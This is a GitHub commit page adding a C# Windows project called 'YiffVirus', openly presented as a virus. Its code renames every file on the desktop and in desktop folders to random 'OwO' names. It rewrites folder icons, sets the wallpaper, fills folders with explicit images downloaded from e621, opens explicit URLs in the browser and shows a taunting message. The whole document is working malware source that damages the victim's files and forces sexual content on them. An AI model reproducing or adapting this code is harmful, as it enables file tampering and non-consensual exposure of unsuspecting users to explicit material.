Skip to content
This repository has been archived by the owner on Apr 8, 2024. It is now read-only.

Commit

Permalink
Add project files.
Browse files Browse the repository at this point in the history
  • Loading branch information
imAETHER committed Aug 31, 2021
1 parent 8a5a5dc commit 2d1b027
Show file tree
Hide file tree
Showing 4 changed files with 327 additions and 0 deletions.
165 changes: 165 additions & 0 deletions Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace YiffVirus
{
class Program
{
private static YiffDownloader yiffDownloader = new YiffDownloader();
private static readonly string[] owoWords = { "OwO_Whats_This_", "Hewwo_", "OwO_notices_your_bulge_", "MERP_MERP_", "OwO_UwURawr_X3_" };
private static readonly Random random = new Random();

static void Main(string[] args)
{
Thread.Sleep(500);

string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

// First we change the icons of the files in folders, so its a *bit* hidden
foreach (string folder in Directory.GetDirectories(desktopPath))
{
ChangeFolderIcon(folder);
foreach (string file in Directory.GetFiles(folder))
{
if(!ChangeFileName(file))
{
continue;
}
}
}

// Then change the icons for the files that will be visible on the desktop
foreach(string file in Directory.GetFiles(desktopPath))
{
if (!ChangeFileName(file))
{
continue;
}
}


using Image img = Image.FromStream(new System.Net.WebClient().OpenRead(yiffDownloader.downloadYiff(null, false)));
string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
img.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);

// Set the wallpaper style to stretch
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Control Panel\Desktop", true);
key.SetValue(@"WallpaperStyle", 2.ToString());
key.SetValue(@"TileWallpaper", 0.ToString());
// Set the desktop wallpaper
SystemParametersInfo(20, 0, tempPath, 0x01 | 0x02);

// Fill the desktop with MORE... MOOOOREEE!!
for(int god = 0; god <= 250; god++)
{
switch(god)
{
case 1:
// Pizza pic, by K1le
Process.Start("explorer.exe", "https://cdn.discordapp.com/attachments/882365636158836777/882383215141220423/3132693.png");
break;
case 2:
// h0rs3
Process.Start("explorer.exe", "https://e621.net/posts/2808711");
break;
case 3:
// Pache riggs
Process.Start("explorer.exe", "https://e621.net/posts/2401425");
break;
case 5:
// Sea salt
Process.Start("explorer.exe", "https://e621.net/posts/2039476");
break;
default:
break;
}
// You can probably modify this to make it a bit faster, WebExceptions happen if too fast though
Thread.Sleep(500);
new Thread(() =>
{
yiffDownloader.downloadYiff(desktopPath, false);
}).Start();

if (god == 250)
{
break;
}
}

// 64 = MB_ICONINFORMATION
// More Info: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox
MessageBox((IntPtr)0, "I worked really hard to make your desktop very *cool*\nI hope you like the art :3", $"Hewwo {Environment.UserName}!!", 64);
}

private static bool ChangeFileName(string file)
{
try
{
FileInfo fileInfo = new FileInfo(file);
if (fileInfo.Name.Contains("desktop") || fileInfo.Extension.Contains("ico") || fileInfo.Extension.Contains("ini"))
{
// Skip these, if we rename them, the folder will loose its very cool icon!
return false;
}
string newFile = file.Replace(fileInfo.Name, owoWords[random.Next(owoWords.Length)] + RandomString() + fileInfo.Extension);
File.Move(file, newFile);
Console.WriteLine($"[FILE] Changed name: {fileInfo.Name} -> {new FileInfo(newFile).Name}");
return true;
} catch(Exception)
{
return false;
}
}

private static void ChangeFolderIcon(string folder)
{
string newIconName = yiffDownloader.downloadYiff(folder, true);
string iniFilePath = folder + @"\desktop.ini";
string newFolderIcon = $"{folder}\\{newIconName}.ico";
WritePrivateProfileString(".ShellClassInfo", "IconFile", newFolderIcon, iniFilePath);
WritePrivateProfileString(".ShellClassInfo", "IconIndex", "0", iniFilePath);
WritePrivateProfileString(".ShellClassInfo", "IconResource", $"{newFolderIcon},0", iniFilePath);
// ------------------
WritePrivateProfileString("ViewState", "Mode", "", iniFilePath);
WritePrivateProfileString("ViewState", "Vid", "", iniFilePath);
WritePrivateProfileString("ViewState", "FolderType", "Pictures", iniFilePath);

File.SetAttributes(iniFilePath, FileAttributes.System | FileAttributes.Archive | FileAttributes.Hidden);
Console.WriteLine($"[FOLDER] Changed icon: {folder}.");
}

private static string RandomString()
{
var builder = new StringBuilder(6);

char offset = 'a';
const int lettersOffset = 26;

for (var i = 0; i < 6; i++)
{
var @char = (char)random.Next(offset, offset + lettersOffset);
builder.Append(@char);
}

return builder.ToString();
}

[DllImport("User32.dll", CharSet = CharSet.Unicode)]
public static extern int MessageBox(IntPtr h, string message, string title, int type);

[DllImport("User32.dll", CharSet = CharSet.Auto)]
static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);

[DllImport("KERNEL32.DLL", EntryPoint = "WritePrivateProfileStringW",
SetLastError = true,
CharSet = CharSet.Unicode, ExactSpelling = true,
CallingConvention = CallingConvention.StdCall)]
private static extern int WritePrivateProfileString(string lpAppName, string lpKeyName, string lpString, string lpFilename);
}
}
123 changes: 123 additions & 0 deletions YiffDownloader.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@
using Newtonsoft.Json;
using System;
using System.Drawing;
using System.IO;
using System.Net;

namespace YiffVirus
{
class YiffDownloader
{
private readonly string FUNNY_API = "http://e621.net/posts.json?rating:e&limit=251";
private Random rand = new Random();
private int lastPostIndex = 0;
private dynamic jsonResponse;

public string downloadYiff(string folderPath, bool convertToIcon)
{
try
{
// Download all posts once
if(jsonResponse == null) {
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(FUNNY_API);
request.UserAgent = "Yiff Virus (by Imf44#6363)";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();

using StreamReader reader = new StreamReader(response.GetResponseStream());

jsonResponse = JsonConvert.DeserializeObject(reader.ReadToEnd());
}

for (int postIndex = lastPostIndex + 1; postIndex < jsonResponse["posts"].Count; postIndex++)
{
if (!jsonResponse["posts"][postIndex]["rating"].ToString().Equals("e"))
{
// Skipping SFW posts bc we only want the **VERY HALAL** ONES
continue;
}

string sampleUrl = jsonResponse["posts"][lastPostIndex = postIndex]["sample"]["url"].ToString();
int postId = jsonResponse["posts"][postIndex]["id"];

string yiffFilePath = (!convertToIcon && folderPath != null) ? folderPath + @"\" + postId + ".jpg" : Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\" + postId + ".jpg";

using WebClient client = new WebClient();
client.DownloadFile(new Uri(sampleUrl), yiffFilePath);

if (convertToIcon)
{
IcoFromFile(yiffFilePath, folderPath, postId);
return $"owo_{postId}";
}
else
{
return sampleUrl;
}
}
}
catch (Exception e)
{
Console.WriteLine(e);
}
return "owo";
}

public void IcoFromFile(string filePath, string folderPath, int postId)
{
using Image imageSex = Image.FromFile(filePath);
using Bitmap bitmap = new Bitmap(imageSex, new Size(256, 256));
SaveAsIcon(bitmap, folderPath + $"\\owo_{postId}.ico");
}

// Taken From: https://stackoverflow.com/a/11448060/368354
// & Fix from: https://stackoverflow.com/a/14157197
public static void SaveAsIcon(Bitmap SourceBitmap, string FilePath)
{
using FileStream FS = new FileStream(FilePath, FileMode.Create);
// ICO header
FS.WriteByte(0); FS.WriteByte(0);
FS.WriteByte(1); FS.WriteByte(0);
FS.WriteByte(1); FS.WriteByte(0);

// Image size
// Set to 0 for 256 px width/height
FS.WriteByte(0);
FS.WriteByte(0);
// Palette
FS.WriteByte(0);
// Reserved
FS.WriteByte(0);
// Number of color planes
FS.WriteByte(1); FS.WriteByte(0);
// Bits per pixel
FS.WriteByte(32); FS.WriteByte(0);

// Data size, will be written after the data
FS.WriteByte(0);
FS.WriteByte(0);
FS.WriteByte(0);
FS.WriteByte(0);

// Offset to image data, fixed at 22
FS.WriteByte(22);
FS.WriteByte(0);
FS.WriteByte(0);
FS.WriteByte(0);

// Writing actual data
SourceBitmap.Save(FS, System.Drawing.Imaging.ImageFormat.Png);

// Getting data length (file length minus header)
long Len = FS.Length - 22;

// Write it in the correct place
FS.Seek(14, SeekOrigin.Begin);
FS.WriteByte((byte)Len);
FS.WriteByte((byte)(Len >> 8));
FS.WriteByte((byte)(Len >> 16));
FS.WriteByte((byte)(Len >> 24));

FS.Close();
}
}
}
14 changes: 14 additions & 0 deletions YiffVirus.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<OutputType>WinExe</OutputType>
<TargetFramework>netcoreapp3.1</TargetFramework>
</PropertyGroup>

<ItemGroup>
<PackageReference Include="Microsoft.Win32.Registry" Version="5.0.0" />
<PackageReference Include="Newtonsoft.Json" Version="13.0.1" />
<PackageReference Include="System.Drawing.Common" Version="5.0.2" />
</ItemGroup>

</Project>
25 changes: 25 additions & 0 deletions YiffVirus.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31105.61
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "YiffVirus", "YiffVirus.csproj", "{88B9CB18-6716-4278-81BF-64D423E8553F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{88B9CB18-6716-4278-81BF-64D423E8553F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{88B9CB18-6716-4278-81BF-64D423E8553F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{88B9CB18-6716-4278-81BF-64D423E8553F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{88B9CB18-6716-4278-81BF-64D423E8553F}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {723E93AC-1171-44E8-B932-1E3F7EA1F498}
EndGlobalSection
EndGlobal

0 comments on commit 2d1b027

Please sign in to comment.